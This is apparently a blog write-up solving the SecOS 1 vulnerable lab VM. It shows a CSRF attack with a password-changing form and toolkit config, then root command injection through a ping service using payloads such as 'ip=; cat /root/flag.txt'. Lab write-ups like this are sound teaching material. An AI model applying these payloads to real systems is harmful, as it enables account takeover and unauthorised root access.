published on in writeup
tags: secos

SecOS 1

SecOS is a series of vulnerable VMs created by PaulSec - launched as part of his talk at BSides London 2014 (which I attended) and focus around CSRF vulnerabilities. Paul is also the author of the CSRF Toolkit, which can be used to attack the SecOS VMs.


[email protected]:~# nmap -n -sV -p- -A

22/tcp   open  ssh     (protocol 2.0)
| ssh-hostkey: 
|   1024 9b:d9:32:f5:1d:19:88:d3:e7:af:f0:4e:21:76:7a:c8 (DSA)
|   2048 90:b0:3d:99:ed:5b:1b:e1:d4:e6:b5:dd:e9:70:89:f5 (RSA)
|_  256 78:2a:d9:e3:63:83:24:dc:2a:d4:f6:4a:ac:2c:70:5a (ECDSA)
8081/tcp open  http    Node.js (Express middleware)
|_http-title: Secure Web App
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
MAC Address: 08:00:27:74:13:C8 (Cadmus Computer Systems)

Secure Web App

This is a custom web app written by Paul for the challenge. I created a new user with username: rasta, password: mouse and then logged in. I was then able to get a list of users on the system.

It seems spiderman was the only admin account, and would probably be a good target to go for (also remembering Paul’s use of a spiderman account during his BSides talk :) ).

Since this is a CSRF type challenge, it was reasonable to assume that there is possibly some weakness in how users/passwords are created or changed. I had a look through the source code of some of the pages and noticed this commented line on the sign up page:

Navigating to this page, and reviewing that source code reveals these comments:

So we can surmise that spiderman is logged into the web app and is set to automatically request a page on localhost. The third hint looks confusing, and took me a while to figure.

The web app allows users to send messages to each other. I used my rasta account to send a message to spiderman, containing a URL which he will visit. I will need to craft a special web request which will be ‘unknowingly’ executed by spiderman - this can be done manually but I chose to use Pauls CSRF toolkit.


The toolkit can be downloaded from GitHub, instructions for installation etc. are included. A number of example exploits and configurations are included, which I used as a template to craft mine (included at the end of this article).

[email protected]:~/CSRFT# node server.js conf/secos1_change_password.json
CSRFT: Toolkit for CSRF vulnerabilities.
Using conf/secos1_change_password.json as configuration file
Listening on port 8080

Send the message…

After a minute or so, I got a connection from the VM IP address and the ‘exploit’ was launched. Going back to the web app, I was now able to log in with username: spiderman, password: spiderman.


There isn’t anything much to see whilst logged in as spiderman, though on the Messages page I saw that the user called pirate was one-step ahead.

I was able to use this password to SSH as spiderman.

After some enumeration I found that spiderman was not a member of the sudoers group, and the kernel was quite new (therefore unlikely to find a local kernel exploit).

Privilege Escalation

I had a look at processes running as root.

[email protected]:~$ ps aux | grep root
root       941  0.0  0.2   4692  1020 ?        Ss   21:25   0:00 sudo -u root sh -c /usr/local/bin/node /home/spiderman/vnwa/internalServer.js

Reviewing this file reveals that a secondary web app is running, bound to port 9000 to I confirmed this with netstat.

[email protected]:~$ netstat -antp
tcp        0      0*               LISTEN      -

Reviewing this file further shows that this is an application to simple ping a supplied IP address. However, the application is vulnerable to command injection as user input doesn’t appear to be sanitized.

child = exec('ping ' + ip, function (error, stdout, stderr)

This makes it possible to insert commands to be executed by the exec function, as part of the IP input. I did this directly using cURL (although you could setup a reverse SSH connection, and interact via a web browser).

[email protected]:~$ curl --data "ip=; id" localhost:9000
uid=0(root) gid=0(root) groups=0(root)

[email protected]:~$ curl --data "ip=; ls -l /root" localhost:9000
-rw-r--r-- 1 root root 346 May  5 20:53 flag.txt

[email protected]:~$ curl --data "ip=; cat /root/flag.txt" localhost:9000

Congrats, you did it ! 
The flag for this first (VM) is: MickeyMustNotDie.
Keep this flag because it will be needed for the next VM.
If you liked the Web application, the code is available on Github. 
There should be more VMs to come in the next few weeks/months.
Twitter: @PaulWebSec
GitHub : PaulSec



<form class="form-signin" action="" method="POST">
        <input type="text" name="username" value="spiderman">
        <input type="password" name="password" value="spiderman">


        "audit": {
                "name": "SecOS 1 Change Password",
                "scenario": [
                                "attack": [
                                                "method": "POST",
                                                "type_attack": "special_value",
                                                "form": "secos1-change-password.html"

Update 26/05/2014

After having a rather informative discussion with Paul regarding this solution, he suggested I also try This is a script designed to automate much of the attack process (i.e. grabbing the form and creating the attack config files on the fly) and is included in the CSRF toolkit.

[email protected]:~/CSRFT/utils# python --form= --param=password password=spiderman --param=username username=spiderman --special_value --cookie="connect.sid=sALvvNoiErYoIP6a8Cc4Ewsxir.pfPhlR8SWKt7RqyK85Yli9EHPq1IC96jpZd1hRv%2FVx0"

Most of this command is self-explanatory, though I shall sum it up.

  • form is the URL to the vulnerable form
  • param is where we define the parameters to inject into the form, in this case I specified the username and desired password for spiderman.
  • special_value defines the method of attack
  • cookie is a valid cookie of a logged in user. In my case I used the cookie assigned to my rasta account whilst I was logged in.

Executing this command will drop the form and conf files into /tmp/csrft/. They look very much like to my manual examples above.

Due to the nature of how the admin access is simulated in this challange, you have to edit /tmp/csrft/form.html, so that the form action points to rather than the actual IP assigned to the VM (as per the advice given on the /hint page).

As previously, the admin user will access port 8080 on our machine and submit the bogus form.